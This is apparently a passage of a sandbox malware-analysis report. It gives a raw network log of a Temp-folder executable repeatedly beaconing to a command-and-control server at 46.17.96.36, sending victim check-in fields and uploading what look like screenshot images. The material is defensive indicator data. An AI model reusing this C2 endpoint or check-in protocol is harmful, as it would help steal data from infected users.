Aug 29, 2021 22:28:18.968319893 CEST	14242	OUT	Data Raw: 8a 43 1d 9a 33 4d cd 19 a0 2c 3b 34 94 dc d2 66 95 c7 61 e4 d2 66 9b 9a 4c d2 b8 ec 3b 34 66 99 9a 09 a2 e1 61 d9 a0 9a 6e 69 33 4a e3 b0 a6 8a 4c d1 9a 41 61 73 41 34 dc d2 13 45 c7 61 49 a4 cd 37 34 86 a6 e5 58 75 37 bd 19 34 94 0c 53 d6 83 46 Data Ascii: C3M,;4fafL;4fani3JLAasA4EaI74Xu74SFi3H%ZAE.h5isUpi3IIHvI)JQ@i4S+OCK-4Ss<qdzh5YN(;NI?6TiJ\(\|*?]SxC&/o'"ld+
Aug 29, 2021 22:28:18.969316006 CEST	14247	OUT	Data Raw: 3f 8f af e3 d4 be 16 eb 73 c4 ac ab e5 85 21 ba fd f5 ac 39 71 f4 39 7d aa 76 ba 5a d8 21 88 c2 56 6d 52 95 d9 f2 ed 2d 25 2d 7a 86 61 5d b5 8f c2 4f 1c 6a 5a 7d b5 f5 a6 89 e6 5b 5c c4 b3 44 ff 00 6b 80 6e 46 00 83 82 f9 1c 11 d6 b8 aa fb 1f c3 Data Ascii: ?s!9q9}vZ!VmR-%-za]OjZ}[\DknFAJ0kyq>dZv<\kccM5bHEPfLdcF#5k%u_b;`z^&vJ&kIj#!\|{Wwr?L0'<cq
Aug 29, 2021 22:28:19.043443918 CEST	14248	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.4	49756	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:17.813080072 CEST	3283	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688c Host: 46.17.96.36 Content-Length: 107127 Cache-Control: no-cache
Aug 29, 2021 22:27:17.813298941 CEST	3283	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 66 32 62 38 65 63 31 32 35 38 33 33 62 66 66 65 36 31 63 33 30 38 62 30 34 30 31 36 38 38 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------6f2b8ec125833bffe61c308b0401688cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:17.813594103 CEST	3293	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:17.813899994 CEST	3296	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:17.846157074 CEST	3307	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:17.846234083 CEST	3321	OUT	Data Raw: 9f 7e e3 de bd 0a cb c6 cc be 2f 6b 7b b9 91 b4 bb f4 47 b3 90 0c 04 c8 c0 cf e3 90 73 d0 8a f3 6f f8 47 35 cf fa 02 ea 3f f8 0a ff 00 e1 52 1d 0b c4 0d 02 42 da 3e a2 51 09 2a 0d ab f1 9e bd bd 85 7a f5 f0 f8 7a ce ed ad ad fd 7a 1e 3d 0c 46 22 Data Ascii: ~/k{GsoG5?RB>Q*zzz=F"O{^U#ZxbATd0RGc_>)vz("<KNkKqvFvaqRiAQH((ZJ`R1@QE(((RE-((v)
Aug 29, 2021 22:27:17.878633022 CEST	3335	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:17.878700972 CEST	3340	OUT	Data Raw: 56 1d 46 29 a0 8f 5a 0b 0f 5a 61 61 c6 9b 46 45 19 a5 74 00 69 28 26 90 9a 40 38 53 c5 30 1a 76 6a 93 13 40 7a d1 de 90 9a 33 9a 00 53 47 6a 05 14 08 51 4b 8a 07 34 13 8a a0 0a 5f 7a 40 68 cd 02 b0 f1 4b 4d 07 9a 75 32 42 90 d2 d0 69 80 83 a5 2e Data Ascii: VF)ZZaaFEti(&@8S0vj@z3SGjQK4_z@hKMu2Bi.(P1NP)uJdZ`(65DfNM>0R(Jh;u4pxBcRzEM"e4`GqC;S39,>L2,:4
Aug 29, 2021 22:27:17.878817081 CEST	3348	OUT	Data Raw: 50 67 ce f8 cd 30 83 9e 6b e8 e5 f0 d6 88 07 fc 82 ed 7f ef 8a f3 3f 89 9a 7d 9d 95 cd 97 d9 2d a2 83 72 36 e1 18 c6 79 aa 85 5e 77 60 92 e5 3c 8e 93 14 99 a5 15 c6 7a 07 a6 fc 0d e3 c6 b7 bf f6 0e 7f fd 19 1d 7b ad f3 e2 df 1f de 60 3f af f4 af Data Ascii: Pg0k?}-r6y^w`<z{`?t}fA4;;;]> x!GVP)F{0T]Il;j\|~)k%o1)qIJ+,)i3@4uR)<:s^Q_YH;x~^S
Aug 29, 2021 22:27:17.879036903 CEST	3369	OUT	Data Raw: ff 00 0a eb c5 7e 5e 7c cf 9f 6e 3a e7 ca 38 a8 aa b9 92 5e 66 94 e5 ca db 3b 78 8d ff 00 8e ae 25 95 6e e6 b1 d0 23 72 91 88 4e d9 2e 48 ea 49 ec 3f cf 5a 98 78 0b c3 6c cc 96 93 4d 0d d2 7f cb 48 6e 89 91 4f af 7f e5 4e b1 f3 bf e1 56 47 fd 97 Data Ascii: ~^\|n:8^f;x%n#rN.HI?ZxlMHnONVG?'gwc9ktBg>c?s]49*rQv:9]H9+Gh+_SAJ\8%_oGZ(1ATY%oW/,98]?R,'{5
Aug 29, 2021 22:27:17.879450083 CEST	3372	OUT	Data Raw: 00 60 d7 ff 00 d1 91 57 be 5e 1f f4 59 3f 0f e6 2b e7 df 82 37 50 5b 78 e6 75 9e 64 8d a7 b1 78 a2 0e d8 de fb e3 3b 47 a9 c0 3f 95 7b 67 8a 35 fd 3b c3 da 62 5d 6a 77 3f 67 82 49 84 41 b6 33 65 88 27 18 50 4f f0 9f ca be 6f 34 8c a5 88 e5 8a bb Data Ascii: `W^Y?+7P[xudx;G?{g5;b]jw?gIA3e'POo4h0*we&Zk:]}m:u=\\|PpEXO^JW.%;KgLj>kf:uZ_Ylk&91?Zh)5]+Q\7Ap)_d2
Aug 29, 2021 22:27:17.985697985 CEST	3390	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
210	192.168.2.4	49949	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:19.021507025 CEST	14247	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:19.098575115 CEST	14248	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
211	192.168.2.4	49950	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:19.300780058 CEST	14249	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:19.377648115 CEST	14289	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
212	192.168.2.4	49951	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:19.324321032 CEST	14249	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3c Host: 46.17.96.36 Content-Length: 107128 Cache-Control: no-cache
Aug 29, 2021 22:28:19.324440956 CEST	14249	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 31 32 65 38 35 62 30 37 65 62 63 39 33 31 63 39 33 30 35 64 36 64 37 61 35 64 39 36 64 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------412e85b07ebc931c9305d6d7a5d96d3cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:28:19.324672937 CEST	14259	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:19.324805021 CEST	14262	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:28:19.357394934 CEST	14271	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:28:19.357454062 CEST	14288	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:28:19.391252041 CEST	14312	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:28:19.391336918 CEST	14325	OUT	Data Raw: de af 27 b1 1f f1 3a b4 ff 00 ae cb fc e8 cb 9f fb 1b f9 9d 78 fd 31 bf 71 ea 3e 2b ff 00 90 84 7f f5 cc 57 3a c3 9e 2b a3 f1 59 c6 a1 1f fd 73 ae 70 9e 6a 30 7f c1 46 38 ff 00 e3 c8 6e 29 7a 51 45 75 9c 03 b3 4e 18 a6 01 4e 02 a5 96 87 8a 5c d3 Data Ascii: ':x1q>+W:+Yspj0F8n)zQEuNN\E-"fiYhpf)f"ARbrEJ)TSSrKIZ)F2ep`T3D; se\B^_yMEMJ=+EP)hZb"@iiE
Aug 29, 2021 22:28:19.391488075 CEST	14339	OUT	Data Raw: 8b 23 4b 57 3f bb 91 1b e8 e0 d3 0e 93 27 a3 81 ea 56 98 10 9e d5 66 18 6e 38 d8 5d 7e 87 15 0d ce 3d 4a 8c 94 b6 45 53 a5 cd fc 3b 4f d4 e2 98 da 65 d0 ff 00 96 4c 7d c5 6f c1 0d e1 c6 66 63 ec 79 ad 6b 68 2e 4e 32 a8 df 55 ac 27 8b 94 0e da 58 Data Ascii: #KW?'Vfn8]~=JES;OeL}ofcykh.N2U'XgS&3nk<=b}0`htvG'=$&MbS:fk s4eA~"5b)Y#sC$:Xl,\|Ju6t?;5dUgO
Aug 29, 2021 22:28:19.423722982 CEST	14366	OUT	Data Raw: 62 c0 80 01 e3 9e 38 ce 6d c2 5a b6 5a 53 8e 88 f5 2b 4f 8f f6 76 31 b4 76 7e 0b 86 dd 19 b7 b2 c3 78 10 16 f5 20 45 d7 81 f9 55 8f f8 68 c1 ff 00 42 af fe 54 3f fb 5d 79 14 5e 1b b8 b8 bb d3 61 b4 bc b3 b9 8f 50 b8 7b 78 67 42 ea 81 94 ae e2 db Data Ascii: b8mZZS+Ov1v~x EUhBT?]y^aP{xgB00l,nr#&L`&>RGk_:g#^O-d>f+yc8L.no?6OO1d&<"B\@9'q"\Sw
Aug 29, 2021 22:28:19.423928976 CEST	14381	OUT	Data Raw: 92 80 17 34 b4 c3 4a 0d 01 61 d4 53 69 45 02 16 97 34 da 5a 00 5a 5a 41 45 52 10 b4 a6 92 93 34 00 77 a5 a4 a2 80 03 45 14 50 01 45 14 50 02 d1 49 45 00 3a 8a 4a 51 40 82 96 92 83 4c 05 a2 92 8c d0 21 68 a4 cd 14 00 b4 52 52 d0 02 d1 49 45 00 2f Data Ascii: 4JaSiE4ZZZAER4wEPEPIE:JQ@L!hRRIE/4RRL-(QIE0E AKM&hf.h(hKI)4;PI)iifXuwKIE4FhRfQKI)Bh:SZu114Zb4M3L-;Fni3E
Aug 29, 2021 22:28:19.496769905 CEST	14389	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
213	192.168.2.4	49952	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:19.556566954 CEST	14390	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:19.633733988 CEST	14390	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
214	192.168.2.4	49953	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:19.791806936 CEST	14391	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3c Host: 46.17.96.36 Content-Length: 107128 Cache-Control: no-cache
Aug 29, 2021 22:28:19.791941881 CEST	14391	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 31 32 65 38 35 62 30 37 65 62 63 39 33 31 63 39 33 30 35 64 36 64 37 61 35 64 39 36 64 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------412e85b07ebc931c9305d6d7a5d96d3cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:28:19.792138100 CEST	14401	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:19.792289019 CEST	14404	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:28:19.825747013 CEST	14409	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:28:19.825783968 CEST	14412	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:28:19.826024055 CEST	14415	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:28:19.826119900 CEST	14424	OUT	Data Raw: 9f 7e e3 de bd 0a cb c6 cc be 2f 6b 7b b9 91 b4 bb f4 47 b3 90 0c 04 c8 c0 cf e3 90 73 d0 8a f3 6f f8 47 35 cf fa 02 ea 3f f8 0a ff 00 e1 52 1d 0b c4 0d 02 42 da 3e a2 51 09 2a 0d ab f1 9e bd bd 85 7a f5 f0 f8 7a ce ed ad ad fd 7a 1e 3d 0c 46 22 Data Ascii: ~/k{GsoG5?RB>Q*zzz=F"O{^U#ZxbATd0RGc_>)vz("<KNkKqvFvaqRiAQH((ZJ`R1@QE(((RE-((v)
Aug 29, 2021 22:28:19.826158047 CEST	14427	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:28:19.826435089 CEST	14429	OUT	Data Raw: c9 6e 8e 78 21 1e b4 a1 71 5b de 5d b3 75 41 49 f6 3b 56 f6 a3 d8 8f eb 2b aa 30 f1 4e 03 35 b2 74 d8 8f dd 62 29 87 4a 3d 9c 7e 22 8f 64 d0 7d 62 06 5e da 70 15 7c e9 92 8e 98 35 1b 58 cc bc ed a3 91 87 b5 8b ea 56 c5 2e 2a 53 6e e3 aa 9a 6f 96 Data Ascii: nx!q[]uAI;V+0N5tb)J=~"d}b^p\|5XV.SnoGo(OhNT7O)UCeANO3+<]S<y^G^]*chT)Fc)K\|]j}(BK,K\S&Kp+b1Eq1Y
Aug 29, 2021 22:28:19.859574080 CEST	14432	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:28:19.965218067 CEST	14500	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
215	192.168.2.4	49954	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:19.858357906 CEST	14430	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:19.938060045 CEST	14499	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
216	192.168.2.4	49955	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
